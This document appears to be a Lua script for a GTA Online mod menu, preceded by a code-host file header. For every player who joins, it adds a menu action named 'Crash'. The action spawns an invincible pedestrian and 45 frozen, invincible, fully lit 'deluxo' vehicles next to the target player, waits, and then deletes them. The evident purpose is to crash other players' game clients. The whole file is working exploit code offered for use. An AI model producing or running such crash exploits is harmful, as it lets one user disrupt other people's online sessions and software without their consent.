64 lines
2.1 KiB
Lua
64 lines
2.1 KiB
Lua
util.require_natives(1672190175)
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function Playerjoin(pid)
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menu.action(menu.player_root(pid), "Crash", {""}, "", function()
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menu.trigger_commands("timesmoothing off")
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menu.trigger_commands("time 0")
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while not STREAMING.HAS_MODEL_LOADED(util.joaat("deluxo")) do
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STREAMING.REQUEST_MODEL(util.joaat("deluxo"))
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util.yield()
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end
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local vehs = {}
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local pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid),0,3,0)
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local Ped = PED.CREATE_RANDOM_PED(pos.x, pos.y, pos.z)
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STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(Ped)
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entities.set_can_migrate(Ped,false)
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PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(Ped,true)
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ENTITY.SET_ENTITY_INVINCIBLE(Ped,true)
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for i = 1 , 45 do
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vehs[i] = entities.create_vehicle(util.joaat("deluxo"), pos, ENTITY.GET_ENTITY_HEADING(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)) - 180)
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ENTITY.FREEZE_ENTITY_POSITION(vehs[i],true)
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entities.set_can_migrate(vehs[i],false)
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PED.SET_PED_INTO_VEHICLE(Ped,vehs[i], -1)
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VEHICLE.SET_VEHICLE_ENGINE_ON(vehs[i],true,true,false)
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VEHICLE.SET_VEHICLE_KEEP_ENGINE_ON_WHEN_ABANDONED(vehs[i],true)
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ENTITY.SET_ENTITY_INVINCIBLE(vehs[i],true)
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for m =0 ,3 do
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VEHICLE.SET_VEHICLE_NEON_ENABLED(vehs[i],m,true)
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end
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VEHICLE.SET_AMBIENT_VEHICLE_NEON_ENABLED(vehs[i])
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entities.set_upgrade_value(vehs[i],22,10)
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for n = 17, 22 do
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VEHICLE.TOGGLE_VEHICLE_MOD(vehs[i],n,true)
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end
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VEHICLE.SET_VEHICLE_XENON_LIGHT_COLOR_INDEX(vehs[i],10)
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VEHICLE.SET_VEHICLE_HAS_UNBREAKABLE_LIGHTS(vehs[i],false)
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VEHICLE.SET_VEHICLE_LIGHTS(vehs[i],3)
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VEHICLE.SET_VEHICLE_HEADLIGHT_SHADOWS(vehs[i],3)
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VEHICLE.SET_VEHICLE_INTERIORLIGHT(vehs[i],true)
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VEHICLE.SET_VEHICLE_FORCE_INTERIORLIGHT(vehs[i],true)
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util.yield(50)
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end
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util.yield(5000)
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entities.delete(Ped)
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for i = 1 , #vehs do
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if vehs[i] ~= nil then
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STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(vehs[i])
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entities.delete(vehs[i])
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util.yield()
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end
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end
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Models = nil
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pos = nil
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vehs = nil
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end)
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end
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players.on_join(Playerjoin)
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players.dispatch_on_join()
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util.keep_running() |